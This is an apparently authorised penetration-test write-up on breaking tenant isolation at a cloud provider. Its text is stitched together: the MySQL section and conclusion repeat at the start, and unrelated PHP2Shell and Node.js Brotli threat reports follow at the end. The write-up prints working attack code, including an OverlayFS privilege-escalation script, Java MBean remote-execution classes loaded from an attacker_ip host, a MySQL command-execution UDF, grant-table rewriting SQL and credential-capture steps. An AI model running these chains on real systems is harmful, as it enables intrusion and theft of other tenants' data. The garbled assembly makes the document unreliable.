The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
Conclusion
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Introduction
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
1. Gaining initial access through a managed Kubernetes cluster
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
1.1. Escaping the worker node
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Kubelet configuration and API server address
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
Konnectivity service account token
1.2. Analysis of control plane services
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
Interaction diagram between control plane and data plane via Konnectivity
1.3. Exploiting Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
...
dialReq := pkt.GetDialRequest()
resp.GetDialResponse().Random = dialReq.Random
start := time.Now()
conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address
This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe
unshare -rm sh -c '
mkdir l u w m &&
cp /usr/bin/python3 l/ &&
chmod 755 l/python3 &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Confirmation of command execution with root privileges
Gaining root privileges opened up several interesting attack vectors:
We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
2. Adventures in the overlay network
2.1. Victoria stack
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
Private SSH key in a VictoriaLogs record
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Process privileges on the host and available actions in Kubernetes
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
2.2. Compromising managed Kafka instances
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
Discovered Java RMI service on port 9999
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class JmxCreateMBean {
private static final class RewritingSocketFactory extends RMISocketFactory {
private final String fromHost;
private final String toHost;
RewritingSocketFactory(String fromHost, String toHost) {
...
}
@Override
public Socket createSocket(String host, int port) throws IOException {
...
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
...
}
}
public static void main(String[] args) throws Exception {
...
RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
var mbsc = connector.getMBeanServerConnection();
try {
ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
} catch (InstanceAlreadyExistsException e) {
System.out.println("EXISTS " + args[5]);
}
}
}
}
Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
public class Exec implements ExecMBean {
@Override
public String run(String cmd) throws Exception {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
}
@Override
public String getB64(String path) throws Exception {
return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
}
@Override
public String putB64(String path, String b64) throws Exception {
byte[] data = Base64.getDecoder().decode(b64);
Files.write(Path.of(path), data);
return "wrote " + data.length + " bytes";
}
}
After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
Create a standard MLet loader inside the Kafka JVM.
Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
2.3. Credential leakage through redis-exporter
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("target")
...
if !strings.Contains(target, "://") {
target = "redis://" + target
}
u, err := url.Parse(target)
...
opts := e.options
...
_, err = NewRedisExporter(target, opts)
...
Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
Diagnostic information of the Valkey instance
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
2.4. Compromise of managed PostgreSQL (Patroni) clusters
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.
Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:
Update the Patroni configuration with the modified archive_command:
After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
cannot be a real primary in standby cluster
Demoting self (demote-cluster)
received fast shutdown request
checkpoint starting: shutdown immediate
Postgres then restarts, and the archiving process runs and executes the injected command:
PostgreSQL process context and node network interfaces
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
Database and S3 access parameters in a backup file
This storage holds backups not only of the current instance but also of all other databases in the cloud.
List of backup storage locations in S3
3. Attack on SaltStack management infrastructure
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
3.1. Analysis of salt fs
The first step was to dump the entire Salt master file system for subsequent static analysis:
Fragment of the Salt Master file list
It contained numerous files.
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
mkdir -p "/tmp/dump/$(dirname "$f")"
salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
done
Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
Database error during pillar processing
3.2. Exploiting the SQLi
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Fragment of the table list in the cloudsmth schema
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
Records with Salt Master authentication tokens
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.
4. Other ways to attack the cloud
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
4.1. Exploiting a vulnerability in Managed Valkey
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
Valkey process context and Salt grains parameters
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
4.2. MySQL
The MySQL database user didn’t have root privileges when the resource was created.
DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
DROP TABLE IF EXISTS mysql.user;
CREATE TABLE mysql.user (
Host char(255) NOT NULL DEFAULT '%',
User char(32) NOT NULL DEFAULT '',
Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
ssl_cipher blob NOT NULL,
x509_issuer blob NOT NULL,
x509_subject blob NOT NULL,
max_questions int unsigned NOT NULL DEFAULT 0,
max_updates int unsigned NOT NULL DEFAULT 0,
max_connections int unsigned NOT NULL DEFAULT 0,
max_user_connections int unsigned NOT NULL DEFAULT 0,
plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
authentication_string text,
password_expired enum('N','Y') NOT NULL DEFAULT 'N',
password_last_changed timestamp NULL DEFAULT NULL,
password_lifetime smallint unsigned DEFAULT NULL,
account_locked enum('N','Y') NOT NULL DEFAULT 'N',
Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Password_reuse_history smallint unsigned DEFAULT NULL,
Password_reuse_time smallint unsigned DEFAULT NULL,
Password_require_current enum('N','Y') DEFAULT NULL,
User_attributes json DEFAULT NULL,
PRIMARY KEY (Host, User)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;
Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef unsigned long long udf_args_type;
typedef struct {
unsigned int arg_count;
unsigned int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
typedef struct {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
void *extension;
} UDF_INIT;
int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_eval requires one argument");
return 1;
}
initid->max_length = 65535;
return 0;
}
void sys_eval_deinit(UDF_INIT *initid) {}
char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error) {
if (!args->args[0]) { *is_null = 1; return NULL; }
char cmd[65535];
snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
FILE *pipe = popen(cmd, "r");
if (!pipe) { *is_null = 1; return NULL; }
static char buf[65535];
size_t total = 0;
while (total < sizeof(buf)-1) {
size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
if (n == 0) break;
total += n;
}
pclose(pipe);
buf[total] = '\0';
*length = total;
return buf;
}
RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
This vector made it possible to inject line breaks and override critical configuration parameters:
default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.
With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so
We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
Result of executing id via MySQL UDF
The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
Conclusion
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
AI assistants have quickly become part of everyday work, particularly for developers. Tools such as ChatGPT, Claude, Cursor and GitHub Copilot increasingly sit alongside source code, cloud environments and other sensitive business resources, making the credentials and sessions connected to these tools increasingly important to protect. New research from Check Point Research (CPR) into the Aokigahara infostealer shows how attackers are adapting to this shift. The malware specifically collects authentication files, session data and configuration files associated with popular AI applications and development tools. The significance goes beyond gaining access to an AI account. If stolen credentials or session tokens […]
Two critical vulnerabilities in PHP, the programming language behind a large share of the world’s websites, online stores and internet services, are being actively targeted. Since details of CVE-2026-109618 and CVE-2026-109619, known as PHP2Shell, leaked ahead of planned disclosure, 10% of organisations worldwide have been impacted (“impacted” means exploitation attempts, we have no way of knowing if the attack has been successful), according to Check Point Research. Hourly activity peaks at midnight, when fewer security teams are watching. Government institutions in the Netherlands and Finland have taken some of their websites offline as a precaution. What PHP2Shell is and why […]
Following the public disclosure of PHP2Shell (CVE-2026-109618 and CVE-2026-109619), Imperva Threat Research observed a sharp increase in scanning and exploitation attempts across protected environments. What had been a small number of unsuccessful probes before disclosure quickly grew into widespread automated activity targeting sites across industries and regions.
Before public disclosure, Imperva participated in the coordinated disclosure process with Wiz, OpenAI, and Calif. The researchers shared confidential vulnerability details, enabling us to assess existing protections, develop dedicated detection and mitigation rules, and prepare diagnostic testing against proof-of-concept exploits.
Our involvement began with a confidential briefing from Wiz on October 12. We deployed dedicated monitoring rules that same day and refined them as our analysis progressed. When PHP announced the lifting of the embargo on October 21 at 13:38 UTC, Imperva immediately enabled the full set of PHP2Shell protection rules. Existing protections had already covered the early probing attempts.
Below, we trace the disclosure and attack timeline, then examine the scale, targeting, and client behavior observed during the first 24 hours of activity.
The First 24 Hours in Numbers
During the first 24 hours of observed activity, Imperva recorded:
482,342 requests
122,311 attack sessions
21,998 targeted sites
103 targeted countries
The activity was broad but relatively shallow: each attack session contained approximately 3.9 requests, and targeted sites received an average of nearly 22 requests during the observation period. This pattern is consistent with opportunistic spray-and-pray scanning, in which attackers probe many sites for potentially vulnerable deployments.
These figures describe observed traffic and targeting. They do not represent confirmed successful exploitation or compromised sites.
How the Activity Developed
The aggregate figures show the scale of targeting, while the hourly distribution shows how quickly activity intensified. The chart below traces observed request volumes alongside key disclosure and patch-release milestones.
Figure 1: PHP2Shell-associated requests by hour, with disclosure and patch-release milestones. All times are UTC.
Following the initial increase, request volume rose sharply and reached a pronounced peak before declining. Activity continued after the peak, with several smaller spikes during the remaining observation period.
This pattern is consistent with an initial burst of automated scanning and exploitation attempts followed by continued activity at lower volumes. The timing alone does not establish what triggered each spike or whether the requests came from the same tools or actors.
Targeting Concentrated in the United States
Sites in the United States accounted for 64.5% of targeted sites, making it the clear center of the observed activity. Indonesia was the second-most targeted country, followed by Australia, Germany, and the Brazil.
Despite this concentration, associated activity reached sites across 103 countries within 24 hours. The geographic distribution shows how quickly scanning and exploitation attempts spread beyond a single region once vulnerability details became public.
These percentages reflect the distribution of targeted sites within Imperva’s observations. They do not, by themselves, establish a deliberate attacker preference for particular countries.
Education and Financial Services Lead Industry Targeting
The activity reached organizations across a wide range of industries. Business accounted for the largest share of targeted sites at 34.3%, followed by Education and Financial Services.
The distribution shows that targeting was not limited to sectors traditionally associated with high-value financial or government data. Instead, activity extended across industries likely to operate large or publicly accessible PHP environments.
Automation Drives Early Activity
The clients associated with the traffic further support an assessment of heavily automated activity. Almost half of the observed activity came from clients classified as browser impersonators, which present themselves as legitimate browsers. Most of the remaining activity was split between known bots and clients using the Go HTTP library.
The prominence of browser impersonation suggests that many of the tools generating this traffic were designed to blend into normal web activity. At the same time, the substantial use of Go-based clients is consistent with purpose-built, high-speed tooling used to scan large numbers of targets.
Imperva Customers Remain Protected
As detailed in our initial analysis, Imperva Cloud WAF customers are protected against PHP2Shell out of the box. Elastic WAF customers receive protection following the applicable software update. WAF Gateway customers receive protection following the applicable software and ADC security-content updates.
Existing protections covered the early unsuccessful probing attempts. Imperva also developed and refined dedicated PHP2Shell rules before public disclosure, enabling the full set immediately after the embargo was lifted.
Organizations should apply the relevant PHP security updates to remediate affected deployments. WAF protections provide a compensating control while that remediation takes place.
Imperva Threat Research continues to monitor PHP2Shell activity and refine protections as scanning tools, exploitation techniques, and attacker behavior evolve. These findings capture the first 24 hours of observed activity; the volume and distribution may change as further activity emerges.
Imperva Red Team demonstrated remote code execution against the official vulnerable Node.js build, then confirmed that the fixed release rejects the same Brotli input.
Executive summary
Node2Shell is Imperva Red Team’s name for our analysis of CVE-2026-111497, a High severity flaw in Node.js’s bundled Brotli decoder. Node.js says the out-of-bounds write can permit remote code execution and has released fixes for the 22.x, 24.x, and 26.x lines.
Our standalone proof of concept ran code carried in a Brotli response or request body inside applications using the official Node.js 24.22.0 Linux arm64 image. It needed no debugger or instrumented binary. The same inputs were rejected by 24.22.1. We tested Express 5.0.0–5.3.0 and body-parser 2.0.0–2.3.0, including the latest releases available at testing; execution took multiple attempts in our setup.
Imperva has added WAF rules for CVE-2026-111497. Customers should update affected Node.js deployments to a fixed release.
Overview
A Node.js service can encounter Brotli on either side of an HTTP exchange. It may consume a compressed response from another server, or use middleware to decode an incoming request body. Both operations can send untrusted data into the native decoder bundled with Node.js. That shared path is where CVE-2026-111497 lives.
We built a standalone proof of concept to see whether the flaw could lead to code execution in a Node.js application. In fresh containers running the official vulnerable Node.js image, the application ran code supplied with the Brotli data. We used a memory sanitizer separately to investigate the underlying bug and compared the results with the fixed release.
In the working proof of concept, the test application had no code to create our marker file. After it received the Brotli data, the file appeared. Code carried in that data had run inside the target process. We reproduced this with the official Node.js 24.22.0 image in fresh Linux arm64 containers. The same inputs on Node.js 24.22.1 were rejected and created no marker.
We also investigated the cause. A source comparison showed that the vulnerable decoder could continue past an invalid stream condition. In a separate sanitizer test, decoding that condition caused an out-of-bounds write. The sanitizer helped explain the flaw; it was not needed for the code-execution proof.
We tested both a compressed response consumed by Node.js’s built-in fetch() and incoming Brotli bodies handled by configured request parsers. The table shows the Brotli-capable package ranges represented by our pinned endpoint tests:
Application path
Package range and tested configurations
Node.js 24.22.0
Node.js 24.22.1
Consumed HTTP response
Node.js built-in fetch()
Supplied code ran; marker created
Input rejected; no marker
Incoming request body
Express 5.0.0–5.3.0; tested 5.0.0 with body-parser 2.0.1, and 5.3.0 with body-parser 2.3.0
Supplied code ran with raw() and json() in both tested setups
Input rejected; no marker; server stayed running
Incoming request body
body-parser 2.0.0–2.3.0; tested 2.0.0 standalone and 2.0.1/2.3.0 through Express
Supplied code ran with raw() and json() in the tested setups
Input rejected; no marker; server stayed running
Express 5 documents Brotli decoding in its request-body parsers, and the body-parser release history records support beginning with 2.0.0. Express 5.3.0 and body-parser 2.3.0 were the latest releases when we tested on October 22, 2026. We reproduced execution at the listed versions; we did not individually test every intermediate release. The vulnerable code is in Node.js: these middleware versions identify paths that can invoke it. A bare Node.js HTTP server does not decode incoming Brotli bodies simply by receiving them.
The proof did not succeed on every attempt. Our results establish code execution for the tested Linux arm64 build and application setups, and show how the fixed build handled the same inputs. We did not test every Node.js build or application.
Technical deep dive: When invalid input looks incomplete
A Brotli stream describes the block types available as decoding progresses. Our test input reached a block transition that the stream’s own structure made impossible. In the vulnerable decoder, that condition could look like a request for more input. Processing continued with an invalid internal state.
Our separate sanitizer run showed that continuing from that state could write beyond an intended buffer. The upstream Brotli fix makes the decoder return a format error for the invalid transition and pass it to the caller. In our application tests, patched Node.js rejected the same inputs before code could run.
